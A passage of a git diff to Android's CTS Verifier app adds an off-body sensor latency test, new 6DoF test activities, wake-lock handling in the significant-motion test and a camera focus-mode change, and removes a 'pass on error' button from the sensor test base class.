+            if ((suspendLock != null) && !suspendLock.isHeld()) {
+                suspendLock.acquire();
+            }
+
+            SensorEventRegistry registry = mEventRegistry;
+
+            // Save the last timestamp when the event triggered.
+            if (mEventRegistry != null && mEventRegistry.event != null) {
+                mTimestampForLastSensorEvent = mEventRegistry.event.timestamp;
+            }
+
+            mEventRegistry = null;
+            verifyOffbodyEventNotInvalid();
+            return registry != null ? registry : new SensorEventRegistry(null, 0);
+        }
+
+        public SensorEvent waitForSensorEvent() throws InterruptedException {
+            SensorEvent event = null;
+            mCountDownLatch = new CountDownLatch(1);
+            mCountDownLatch.await(LLOB_EVENT_MAX_DELAY_SEC, TimeUnit.SECONDS);
+
+            if (mEventRegistry != null && mEventRegistry.event != null) {
+                event = mEventRegistry.event;
+            }
+
+            mEventRegistry = null;
+            verifyOffbodyEventNotInvalid();
+            return event;
+        }
+    }
+
+    public OffBodySensorTestActivity() {
+        super(OffBodySensorTestActivity.class);
+    }
+
+
+    @Override
+    protected void activitySetUp() throws InterruptedException {
+        PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
+        mDeviceSuspendLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+                                            "OffBodySensorTestActivity");
+        mDeviceSuspendLock.acquire();
+        mOffBodySensorRegistered = false;
+        mSensorManager = (SensorManager) getSystemService(Context.SENSOR_SERVICE);
+        mOffBodySensor = mSensorManager.getDefaultSensor(Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT,
+                true);
+        if (mOffBodySensor == null) {
+            setTestResultAndFinish(true);
+            return;
+        }
+        LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
+                                        new IntentFilter(ACTION_ALARM));
+        Intent intent = new Intent(this, AlarmReceiver.class);
+        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
+        mScreenManipulator = new SensorTestScreenManipulator(this);
+        try {
+            mScreenManipulator.initialize(this);
+        } catch (InterruptedException e) {
+        }
+    }
+
+    private void startTimeoutTimer(long delayMs) {
+        mAlarmManager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+                                SystemClock.elapsedRealtime() + delayMs,
+                                mPendingIntent);
+    }
+
+    private void stopTimeoutTimer() {
+        mAlarmManager.cancel(mPendingIntent);
+    }
+
+    private void stopOffbodySensorListener(SensorEventVerifier verifier) {
+        if (mOffBodySensorRegistered) {
+            mSensorManager.unregisterListener(verifier);
+            mOffBodySensorRegistered = false;
+        }
+    }
+
+    private boolean startOffbodySensorListener(SensorEventVerifier verifier) {
+        if (!mOffBodySensorRegistered) {
+            if (!mSensorManager.registerListener(verifier, mOffBodySensor,
+                        SensorManager.SENSOR_DELAY_FASTEST)) {
+                Log.e(TAG, "error registering listener for LLOB");
+                setTestResultAndFinish(true);
+                return false;
+            }
+            mOffBodySensorRegistered = true;
+        }
+        return true;
+    }
+
+    public static class AlarmReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Intent alarm_intent = new Intent(context, OffBodySensorTestActivity.class);
+            alarm_intent.setAction(OffBodySensorTestActivity.ACTION_ALARM);
+            LocalBroadcastManager.getInstance(context).sendBroadcastSync(alarm_intent);
+        }
+    }
+
+    public BroadcastReceiver myBroadCastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mVerifier.releaseLatch();
+            mScreenManipulator.turnScreenOn();
+            if (!mDeviceSuspendLock.isHeld()) {
+                mDeviceSuspendLock.acquire();
+            }
+        }
+    };
+
+    public String testOffbodyDetectResponseTime() throws Throwable {
+        Sensor wakeUpSensor = mSensorManager.getDefaultSensor(
+                Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT, true);
+        if (wakeUpSensor == null) {
+            throw new SensorNotSupportedException(Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT, true);
+        }
+        return runOffbodyDetectResponseTimeTest(wakeUpSensor);
+    }
+
+    public String testOnbodyDetectResponseTime() throws Throwable {
+        Sensor wakeUpSensor = mSensorManager.getDefaultSensor(
+                Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT, true);
+        if (wakeUpSensor == null) {
+            throw new SensorNotSupportedException(Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT, true);
+        }
+        return runOnbodyDetectResponseTimeTest(wakeUpSensor);
+    }
+
+    public String testWakeAPOffbodyDetect() throws Throwable {
+        Sensor wakeUpSensor = mSensorManager.getDefaultSensor(
+                Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT, true);
+        if (wakeUpSensor == null) {
+            throw new SensorNotSupportedException(Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT, true);
+        }
+        return runWakeAPOffbodyDetectTest(wakeUpSensor);
+    }
+
+    public String runOffbodyDetectResponseTimeTest(Sensor sensor) throws Throwable {
+        boolean success;
+        String eventArrivalMessage;
+        mOffBodySensor = sensor;
+        mBadValueSeen = BAD_VALUE_SEEN_INIT;
+
+        try {
+            // If device not currently on-body, instruct user to put it on wrist
+            mTestStartTimestampMs = 0;
+            mVerifier = new SensorEventVerifier();
+            success = startOffbodySensorListener(mVerifier);
+            Assert.assertTrue(
+                    getString(R.string.snsr_offbody_sensor_registration, success),
+                    success);
+            SensorEvent event = mVerifier.waitForSensorEvent();
+            eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival, event != null);
+            Assert.assertNotNull(eventArrivalMessage, event);
+
+            SensorTestLogger logger = getTestLogger();
+            if (event.values[0] != ON_BODY_EVENT_VALUE) {
+                // Instruct user on how to perform offbody detect test
+                logger.logInstructions(R.string.snsr_start_offbody_sensor_test_instr);
+                waitForUserToBegin();
+                if (mPreviousSensorState != State.ON_BODY) {
+                    event = mVerifier.waitForSensorEvent();
+                    eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival,
+                            event != null);
+                    Assert.assertNotNull(eventArrivalMessage, event);
+                    if (event.values[0] != ON_BODY_EVENT_VALUE) {
+                        Assert.fail(
+                            String.format(getString(R.string.snsr_offbody_event_wrong_value),
+                            ON_BODY_EVENT_VALUE,
+                            event.values[0]));
+                    }
+                }
+            }
+
+            // Instruct user on how to perform offbody detect test
+            logger.logInstructions(R.string.snsr_offbody_detect_test_instr);
+            waitForUserToBegin();
+            mTestStartTimestampMs = SystemClock.elapsedRealtime();
+
+            // Verify off-body event latency is within spec
+            mVerifier.awaitAndVerifyEvent(OFF_BODY_EVENT_VALUE, MAX_OFF_BODY_EVENT_LATENCY_MS);
+        } finally {
+            stopOffbodySensorListener(mVerifier);
+        }
+        return null;
+    }
+
+    public String runOnbodyDetectResponseTimeTest(Sensor sensor) throws Throwable {
+        mOffBodySensor = sensor;
+        SensorTestLogger logger = getTestLogger();
+        mBadValueSeen = BAD_VALUE_SEEN_INIT;
+
+        try {
+            // If device not currently off-body, instruct user to remove it from wrist
+            mTestStartTimestampMs = 0;
+            mVerifier = new SensorEventVerifier();
+            boolean success = startOffbodySensorListener(mVerifier);
+            Assert.assertTrue(
+                    getString(R.string.snsr_offbody_sensor_registration, success),
+                    success);
+            SensorEvent event = mVerifier.waitForSensorEvent();
+            String eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival,
+                    event != null);
+            Assert.assertNotNull(eventArrivalMessage, event);
+            if (event.values[0] != OFF_BODY_EVENT_VALUE) {
+                // Instruct user on how to perform offbody detect test
+                logger.logInstructions(R.string.snsr_start_onbody_sensor_test_instr);
+                waitForUserToBegin();
+                if (mPreviousSensorState != State.OFF_BODY) {
+                    event = mVerifier.waitForSensorEvent();
+                    eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival,
+                            event != null);
+                    Assert.assertNotNull(eventArrivalMessage, event);
+                    if (event.values[0] != OFF_BODY_EVENT_VALUE) {
+                        Assert.fail(
+                            String.format(getString(R.string.snsr_offbody_event_wrong_value),
+                            OFF_BODY_EVENT_VALUE,
+                            event.values[0]));
+                    }
+                }
+            }
+
+            // Display on-body latency test instructions
+            logger.logInstructions(R.string.snsr_onbody_detect_test_instr);
+            waitForUserToBegin();
+            mTestStartTimestampMs = SystemClock.elapsedRealtime();
+            mVerifier.awaitAndVerifyEvent(ON_BODY_EVENT_VALUE, MAX_ON_BODY_EVENT_LATENCY_MS);
+        } finally {
+            stopOffbodySensorListener(mVerifier);
+        }
+        return null;
+    }
+
+    public String runWakeAPOffbodyDetectTest(Sensor sensor) throws Throwable {
+        final long ALARM_WAKE_UP_DELAY_MS = 40000;
+        String eventArrivalMessage;
+        SensorEventRegistry registry;
+        SensorTestLogger logger = getTestLogger();
+        mBadValueSeen = BAD_VALUE_SEEN_INIT;
+        mVerifier = new SensorEventVerifier();
+        mOffBodySensor = sensor;
+        mTestStartTimestampMs = 0;
+
+        mTestStartTimestampMs = SystemClock.elapsedRealtime();
+        SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
+        try {
+            boolean success = startOffbodySensorListener(mVerifier);
+            Assert.assertTrue(
+                    getString(R.string.snsr_offbody_sensor_registration, success),
+                    success);
+
+            // grab the current off-body state, which should be ON-BODY
+            if (mPreviousSensorState != State.ON_BODY) {
+                registry = mVerifier.waitForEvent();
+                if ((registry == null) || (registry.event == null) ||
+                        (registry.event.values[0] != ON_BODY_EVENT_VALUE)) {
+                    eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival, false);
+                    Assert.fail(eventArrivalMessage);
+
+                    // Tell user to put watch on wrist
+                    logger.logInstructions(R.string.snsr_start_offbody_sensor_test_instr);
+                    waitForUserToBegin();
+                    if (mPreviousSensorState != State.ON_BODY) {
+                        registry = mVerifier.waitForEvent();
+                        if ((registry == null) || (registry.event == null)) {
+                            eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival, false);
+                            Assert.fail(eventArrivalMessage);
+                        } else {
+                            Assert.assertTrue(
+                                String.format(getString(R.string.snsr_offbody_event_wrong_value),
+                                ON_BODY_EVENT_VALUE,
+                                registry.event.values[0]),
+                                ON_BODY_EVENT_VALUE == registry.event.values[0]);
+                        }
+                    }
+                }
+            }
+
+            // Instruct user on how to perform offbody detect sleep test
+            logger.logInstructions(R.string.snsr_ap_wake_offbody_detect_test_instr);
+            waitForUserToBegin();
+
+            long testStartTimeNs = SystemClock.elapsedRealtimeNanos();
+            startTimeoutTimer(ALARM_WAKE_UP_AP_DELAY_MS);
+
+            // Wait for the first event to trigger. Device is expected to go into suspend here.
+            registry = mVerifier.waitForEvent(mDeviceSuspendLock);
+            if ((registry == null) || (registry.event == null)) {
+                eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival, false);
+                Assert.fail(eventArrivalMessage);
+            }
+
+            mVerifier.verifyEvent(registry, OFF_BODY_EVENT_VALUE, 0);
+
+            long eventTimeStampNs = registry.event.timestamp;
+            long endTimeNs = SystemClock.elapsedRealtimeNanos();
+            long lastWakeupTimeNs = TimeUnit.MILLISECONDS.toNanos(
+                    suspendStateMonitor.getLastWakeUpTime());
+            Assert.assertTrue(getString(R.string.snsr_device_did_not_go_into_suspend),
+                              testStartTimeNs < lastWakeupTimeNs && lastWakeupTimeNs < endTimeNs);
+            long timestampDelta = Math.abs(lastWakeupTimeNs - eventTimeStampNs);
+            Assert.assertTrue(
+                    String.format(getString(R.string.snsr_device_did_not_wake_up_at_trigger),
+                              TimeUnit.NANOSECONDS.toMillis(lastWakeupTimeNs),
+                              TimeUnit.NANOSECONDS.toMillis(eventTimeStampNs)),
+                              timestampDelta < MAX_ACCEPTABLE_DELAY_EVENT_AP_WAKE_UP_NS);
+        } finally {
+            stopTimeoutTimer();
+            suspendStateMonitor.cancel();
+            mScreenManipulator.turnScreenOn();
+            playSound();
+        }
+        return null;
+    }
+
+    @Override
+    protected void activityCleanUp() {
+        if (mOffBodySensorRegistered) {
+            stopOffbodySensorListener(mVerifier);
+        }
+        stopTimeoutTimer();
+        LocalBroadcastManager.getInstance(this).unregisterReceiver(myBroadCastReceiver);
+        if (mOffBodySensor != null) {
+            mOffBodySensor = null;
+        }
+        if (mScreenManipulator != null){
+            mScreenManipulator.close();
+        }
+        if ((mDeviceSuspendLock != null) && mDeviceSuspendLock.isHeld()) {
+            mDeviceSuspendLock.release();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
index 21afe0d..edc8536 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
@@ -396,6 +396,16 @@
                 CamcorderProfile.QUALITY_HIGH // existence guaranteed
         };
 
+        private String [] mPreferredFocusMode = {
+                Camera.Parameters.FOCUS_MODE_FIXED,
+                Camera.Parameters.FOCUS_MODE_INFINITY,
+                // the following two modes are more likely to mess up recording
+                // but they are still better than FOCUS_MODE_AUTO, which requires
+                // calling autoFocus explicitly to focus.
+                Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO,
+                Camera.Parameters.FOCUS_MODE_CONTINUOUS_PICTURE
+        };
+
         CameraContext() {
             try {
                 mCamera = Camera.open(); // attempt to get a default Camera instance (0)
@@ -417,6 +427,7 @@
          */
         void setupCamera() {
             CamcorderProfile profile = null;
+            boolean isSetNeeded = false;
             Camera.Parameters param = mCamera.getParameters();
             List<Camera.Size> pre_sz = param.getSupportedPreviewSizes();
             List<Camera.Size> pic_sz = param.getSupportedPictureSizes();
@@ -443,13 +454,26 @@
                     if (valid == 2) {
                         param.setPreviewSize(profile.videoFrameWidth, profile.videoFrameHeight);
                         param.setPictureSize(profile.videoFrameWidth, profile.videoFrameHeight);
-                        mCamera.setParameters(param);
+                        isSetNeeded = true;
                         break;
                     } else {
                         profile = null;
                     }
                 }
             }
+
+            for (String i : mPreferredFocusMode) {
+                if (param.getSupportedFocusModes().contains(i)){
+                    param.setFocusMode(i);
+                    isSetNeeded = true;
+                    break;
+                }
+            }
+
+            if (isSetNeeded) {
+                mCamera.setParameters(param);
+            }
+
             if (profile != null) {
                 param = mCamera.getParameters(); //acquire proper fov after change the picture size
                 float fovW = param.getHorizontalViewAngle();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e1cba262..42e83f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -31,16 +31,17 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.hardware.cts.helpers.SensorNotSupportedException;
+import android.hardware.cts.helpers.SuspendStateMonitor;
+import android.hardware.cts.helpers.TestSensorEnvironment;
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
 import android.hardware.TriggerEvent;
 import android.hardware.TriggerEventListener;
-import android.hardware.cts.helpers.SensorNotSupportedException;
-import android.hardware.cts.helpers.TestSensorEnvironment;
-import android.hardware.cts.helpers.SuspendStateMonitor;
 import android.os.Handler;
 import android.os.Looper;
 import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
 import android.os.SystemClock;
 import android.support.v4.content.LocalBroadcastManager;
 import android.util.Log;
@@ -80,6 +81,7 @@
     private Sensor mSensorSignificantMotion;
     private TriggerVerifier mVerifier;
     private SensorTestScreenManipulator mScreenManipulator;
+    private WakeLock mPartialWakeLock;
 
     /**
      * Test cases.
@@ -146,12 +148,20 @@
         mSensorManager.requestTriggerSensor(verifier, mSensorSignificantMotion);
         logger.logWaitForSound();
 
-        // wait for the first event to trigger
-        verifier.verifyEventTriggered();
+        String result;
+        try {
+            mPartialWakeLock.acquire();
 
-        // wait for a second event not to trigger
-        String result = verifier.verifyEventNotTriggered();
-        playSound();
+            // wait for the first event to trigger
+            verifier.verifyEventTriggered();
+
+            // wait for a second event not to trigger
+            result = verifier.verifyEventNotTriggered();
+        } finally {
+            playSound();
+            mScreenManipulator.turnScreenOn();
+            mPartialWakeLock.release();
+        }
         return result;
     }
 
@@ -254,6 +264,8 @@
 
         String result;
         try {
+            mPartialWakeLock.acquire();
+
             if (isMotionExpected) {
                 result = verifier.verifyEventTriggered();
             } else {
@@ -261,7 +273,11 @@
             }
         } finally {
             mSensorManager.cancelTriggerSensor(verifier, mSensorSignificantMotion);
+
+            // notify user test finished
             playSound();
+            mScreenManipulator.turnScreenOn();
+            mPartialWakeLock.release();
         }
         return result;
     }
@@ -281,6 +297,7 @@
         } catch (InterruptedException e) {
         }
         PowerManager pm = (PowerManager)getSystemService(Context.POWER_SERVICE);
+        mPartialWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "SignificantMotionTestActivity");
         LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
                                             new IntentFilter(ACTION_ALARM));
     }
@@ -288,7 +305,11 @@
     @Override
     protected void activityCleanUp() {
         if (mScreenManipulator != null) {
-            mScreenManipulator.turnScreenOff();
+            // after this screen does not have to be on constantly
+            mScreenManipulator.releaseScreenOn();
+        }
+        if (mPartialWakeLock != null && mPartialWakeLock.isHeld()) {
+            mPartialWakeLock.release();
         }
         LocalBroadcastManager.getInstance(this).unregisterReceiver(myBroadCastReceiver);
     }
@@ -400,7 +421,6 @@
             }
 
             mEventRegistry = null;
-            playSound();
             return registry != null ? registry : new TriggerEventRegistry(null, 0);
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
index ad2ead6..1c92fd7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
@@ -510,10 +510,6 @@
         if (resultCode == SensorTestDetails.ResultCode.FAIL) {
             mTestLogger.logInstructions(R.string.snsr_test_complete_with_errors);
             enableTestResultButton(
-                    mPassButton,
-                    R.string.snsr_pass_on_error,
-                    testDetails.cloneAndChangeResultCode(SensorTestDetails.ResultCode.PASS));
-            enableTestResultButton(
                     mFailButton,
                     R.string.fail_button_text,
                     testDetails.cloneAndChangeResultCode(SensorTestDetails.ResultCode.FAIL));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/StartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/StartActivity.java
new file mode 100644
index 0000000..0e01fa1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/StartActivity.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Activities;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Utils.ReportExporter;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.app.Activity;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.view.View;
+import android.widget.Button;
+import android.widget.Toast;
+
+/**
+ * Launcher activity that gives brief instructions of tests.
+ */
+public class StartActivity extends PassFailButtons.Activity {
+    private Button mBtnStart;
+
+    // Unique code that ensures we get the result from the activity that want to get a result
+    private static final int REQUEST_CODE_6DOF = 5555;
+
+    public enum ResultCode {
+        FAILED_PAUSE_AND_RESUME,
+        FAILED,
+        PASSED
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_start);
+
+        mBtnStart = (Button) findViewById(R.id.btnStart);
+        mBtnStart.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                startPhase1();
+            }
+        });
+
+        // If there is no 6DoF sensor advertised, pass trivially.
+        SensorManager sensorManager = (SensorManager) getSystemService(Context.SENSOR_SERVICE);
+        if (sensorManager.getDefaultSensor(Sensor.TYPE_POSE_6DOF) == null) {
+            StartActivity.this.setTestResultAndFinish(true);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+    }
+
+    private void startPhase1() {
+        Intent startPhase1 = new Intent(this, TestActivity.class);
+        startActivityForResult(startPhase1, REQUEST_CODE_6DOF);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        // Check which request we're responding to.
+        if (requestCode == REQUEST_CODE_6DOF) {
+            if (resultCode == RESULT_CANCELED) {
+                Toast.makeText(this, R.string.test_failed, Toast.LENGTH_SHORT).show();
+            } else { // RESULT_OK
+                ResultCode result = (ResultCode) data.getSerializableExtra(TestActivity.EXTRA_RESULT_ID);
+                if (result == ResultCode.FAILED_PAUSE_AND_RESUME) {
+                    Toast.makeText(this, R.string.failed_pause_resume, Toast.LENGTH_SHORT).show();
+                } else if (result == ResultCode.FAILED) {
+                    Toast.makeText(this, R.string.failed, Toast.LENGTH_SHORT).show();
+                } else if (result == ResultCode.PASSED) {
+                    Toast.makeText(this, R.string.passed, Toast.LENGTH_SHORT).show();
+                }
+
+                String testReport = data.getStringExtra(TestActivity.EXTRA_REPORT);
+                new ReportExporter(this, testReport).execute();
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
new file mode 100644
index 0000000..9ca5f2c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
@@ -0,0 +1,457 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Activities;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Activities.StartActivity.ResultCode;
+import com.android.cts.verifier.sensors.sixdof.Fragments.AccuracyFragment;
+import com.android.cts.verifier.sensors.sixdof.Fragments.ComplexMovementFragment;
+import com.android.cts.verifier.sensors.sixdof.Fragments.DataFragment;
+import com.android.cts.verifier.sensors.sixdof.Fragments.PhaseStartFragment;
+import com.android.cts.verifier.sensors.sixdof.Fragments.RobustnessFragment;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.AccuracyListener;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.BaseUiListener;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.ComplexMovementListener;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.RobustnessListener;
+import com.android.cts.verifier.sensors.sixdof.Utils.ReportExporter;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestReport;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager.Lap;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.RotationData;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseProvider;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.content.Intent;
+import android.content.pm.ActivityInfo;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.app.Fragment;
+import android.app.FragmentManager;
+import android.app.FragmentTransaction;
+import android.app.AlertDialog;
+import android.app.Activity;
+import android.util.Log;
+import android.view.Display;
+import android.view.Menu;
+import android.view.MenuItem;
+import android.view.Surface;
+
+import java.io.IOException;
+import java.util.ArrayList;
+
+/**
+ * Main Activity for 6DOF tests Handles calls between UI fragments and the Data fragment. The
+ * controller in the MVC structure.
+ */
+public class TestActivity extends Activity implements BaseUiListener, AccuracyListener,
+        RobustnessListener, ComplexMovementListener {
+
+    private static final String TAG = "TestActivity";
+    private static final String TAG_DATA_FRAGMENT = "data_fragment";
+    public static final String EXTRA_RESULT_ID = "extraResult";
+    public static final String EXTRA_REPORT = "extraReport";
+    public static final String EXTRA_ON_RESTART = "6dof_verifier_restart";
+    public static final Object POSE_LOCK = new Object();
+
+    private DataFragment mDataFragment;
+
+    private BaseUiListener mUiListener;
+    private AccuracyListener mAccuracyListener;
+    private RobustnessListener mRobustnessListener;
+    private ComplexMovementListener mComplexMovementListener;
+
+    private CTSTest mCurrentTest = CTSTest.ACCURACY;
+
+    private boolean mHasBeenPaused = false;
+
+    public enum CTSTest {
+        ACCURACY,
+        ROBUSTNESS,
+        COMPLEX_MOVEMENT
+    }
+
+    /**
+     * Initialises camera preview, looks for a retained data fragment if we have one and adds UI
+     * fragment.
+     */
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // If we are restarting, kill the test as data is invalid.
+        if (savedInstanceState != null) {
+            if (savedInstanceState.getBoolean(EXTRA_ON_RESTART)) {
+                Intent intent = this.getIntent();
+                intent.putExtra(EXTRA_RESULT_ID, ResultCode.FAILED_PAUSE_AND_RESUME);
+                this.setResult(RESULT_OK, intent);
+                finish();
+            }
+        }
+
+        setContentView(R.layout.activity_cts);
+
+        // Add the first instructions fragment.
+        Fragment fragment = PhaseStartFragment.newInstance(CTSTest.ACCURACY);
+        FragmentManager fragmentManager = getFragmentManager();
+        FragmentTransaction transaction = fragmentManager.beginTransaction();
+        transaction.replace(R.id.contentFragment, fragment);
+        transaction.commit();
+
+        mDataFragment = new DataFragment();
+        fragmentManager.beginTransaction().add(mDataFragment, TAG_DATA_FRAGMENT).commit();
+
+        // Lock the screen to its current rotation
+        lockRotation();
+    }
+
+    /**
+     * Lock the orientation of the device in its current state.
+     */
+    private void lockRotation() {
+        final Display display = getWindowManager().getDefaultDisplay();
+        int naturalOrientation = Configuration.ORIENTATION_LANDSCAPE;
+        int configOrientation = getResources().getConfiguration().orientation;
+        switch (display.getRotation()) {
+            case Surface.ROTATION_0:
+            case Surface.ROTATION_180:
+                // We are currently in the same basic orientation as the natural orientation
+                naturalOrientation = configOrientation;
+                break;
+            case Surface.ROTATION_90:
+            case Surface.ROTATION_270:
+                // We are currently in the other basic orientation to the natural orientation
+                naturalOrientation = (configOrientation == Configuration.ORIENTATION_LANDSCAPE) ?
+                        Configuration.ORIENTATION_PORTRAIT : Configuration.ORIENTATION_LANDSCAPE;
+                break;
+        }
+
+        int[] orientationMap = {
+                ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
+                ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
+                ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT,
+                ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE
+        };
+        // Since the map starts at portrait, we need to offset if this device's natural orientation
+        // is landscape.
+        int indexOffset = 0;
+        if (naturalOrientation == Configuration.ORIENTATION_LANDSCAPE) {
+            indexOffset = 1;
+        }
+
+        // The map assumes default rotation. Check for reverse rotation and correct map if required
+        try {
+            if (getResources().getBoolean(getResources().getSystem().getIdentifier(
+                    "config_reverseDefaultRotation", "bool", "android"))) {
+                orientationMap[0] = ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
+                orientationMap[2] = ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+            }
+        } catch (Resources.NotFoundException e) {
+            // If resource is not found, assume default rotation and continue
+            Log.d(TAG, "Cannot determine device rotation direction, assuming default");
+        }
+
+        setRequestedOrientation(orientationMap[(display.getRotation() + indexOffset) % 4]);
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        // 6DoF is reset after a recreation of activity, which invalidates the tests.
+        if (mHasBeenPaused) {
+            Intent intent = this.getIntent();
+            intent.putExtra(EXTRA_RESULT_ID, ResultCode.FAILED_PAUSE_AND_RESUME);
+            this.setResult(RESULT_OK, intent);
+            finish();
+        }
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        mHasBeenPaused = true;
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        // Inflate the menu; this adds items to the action bar if it is present.
+        getMenuInflater().inflate(R.menu.menu_cts, menu);
+        return true;
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(MenuItem item) {
+        // Handle action bar item clicks here.
+        int id = item.getItemId();
+
+        switch (id) {
+            case R.id.action_save_results:
+                saveResults();
+                return true;
+            case R.id.action_xml:
